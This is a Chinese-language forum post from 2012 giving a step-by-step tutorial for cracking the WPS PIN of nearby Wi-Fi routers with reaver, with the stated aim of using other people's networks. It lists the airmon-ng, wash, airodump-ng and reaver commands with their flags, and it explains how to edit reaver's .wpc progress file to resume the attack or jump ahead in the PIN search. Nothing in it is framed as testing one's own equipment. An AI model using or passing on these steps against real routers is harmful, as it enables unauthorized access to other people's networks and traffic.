PIN码PJ教程，reaver 使用方法和技巧

[复制链接]

混血天使

732 回帖	4161 积分	250 小时在线时间

少校

注册时间: 2009-11-5

金币: 3385 个

威望: 0 个

荣誉: 0 个

发消息

累计签到：7 天
连续签到：0 天
[LV.20]漫游旅程

发表于 2012-2-16 18:53

本帖最后由混血天使于 2012-2-16 19:02 编辑

reaver非常的不错，为我们ceng网带了最大的方便，使用简单，我来讲一下自己使用心得吧！
第一步，如果用虚拟机用vmware的，总会出现鼠标不灵点不到地方，换了一个 6.0.2 build-59824 版本后，鼠标变的非常的好用。但是自己还是想用新版，所以在网上看到说是选择linux系统就可以，自己就打开--编辑虚拟机设置---选项---虚拟名称---linux---ubuntu，试了一下鼠标问题就解决了。
第二步，是选择适合你的网卡linux系统，
1、现在有xiaopan 0.3.5对 8187L支持最不好,0.3.3对8187支持挺好。下载地址：http://anywlan.com/bbs/viewthread.php?tid=116228
2、还有就是cdlinux这个是最好，对网卡支持最多，程序也最多，特别是可以对硬盘文件复制方便使用，缺点就是容易死机。下载地址：http://anywlan.com/bbs/viewthread.php?tid=116572
3、beini这个也是最好的不过要自己手动添加reaver升级，优点是稳定，特别是1.1加强版对8187L支持最好，缺点就是作者再也不升级了。升级方法参考这里：http://anywlan.com/bbs/viewthread.php?tid=116600
第三步，使用reaver方法:
airmon-ng start wlan0  //启动mon0监控
reaver -i mon0 -b xx:xx:xx:xx:xx -a -S -vv -c 频道
-i 监听后接口名称
-b 目标mac地址
-a 自动检测目标AP最佳配置
-S 使用最小的DH key，可以提高PJ速度
-vv 显示更多的非严重警告
-d 即delay每穷举一次的闲置时间预设为1秒
-c 频道
-p PIN码四位或八位  //可以用8位直接找到密码。
在11楼有更详细参数的说明
当出现有百分数时你就可以用crtl+c来暂停，它会将reaver的进度表文件保存在
1.3版：
/etc/reaver/MAC地址.wpc
1.4版：
/usr/local/etc/reaver/MAC地址.wpc
用资源管理器，手工将以MAC地址命名的、后辍为wpc的文件拷贝到U盘或硬盘中，
下次重启动后，再手工复制到/etc/reaver/ 目录下即可。
还有命令
airodump-ng mon0 用来扫描周围无线信号
wash -i mon0 -C 这个是用来检测周围无线支持PIN的路由
第四步：技巧
将mac地址.wpc 备份后，下次可以继续使用。
wpc结构
0                //这个地方是说它的前4位PIN码的进度位置数
0                //这个地方是说后3位PIN数的已经运行测试位置数
0                //0时没有找到，当为1时找到前四位，当为2时全部找到。
1234
0123
1111
2222
3333
.......
.......
9999
001
002
003
.....
.....
999
所以前四位很重要，将已经知道的前四们放在最前面会提高你的PIN速度，我们也可以手动修改wpc文件第一行，如我们要从3000开始pin你可以将它修改为3004,这样它就会从3000开始PIN了。当我们在PIN时就可以不用保存虚拟机快照了，只要你记住了前四位，你下载用软件修改WPC文件就可了。cdlinux对wpc文件最方便，beini和xiaopan对wpc修改要用命令vi来修改，vi的使用方法很简单 vi XXXX.wpc 打开就可以了，输入i进行编辑，escap退回命令模式，输入:wq退出保存。

如你没钱和不满意的，先回复再拿去金币行了！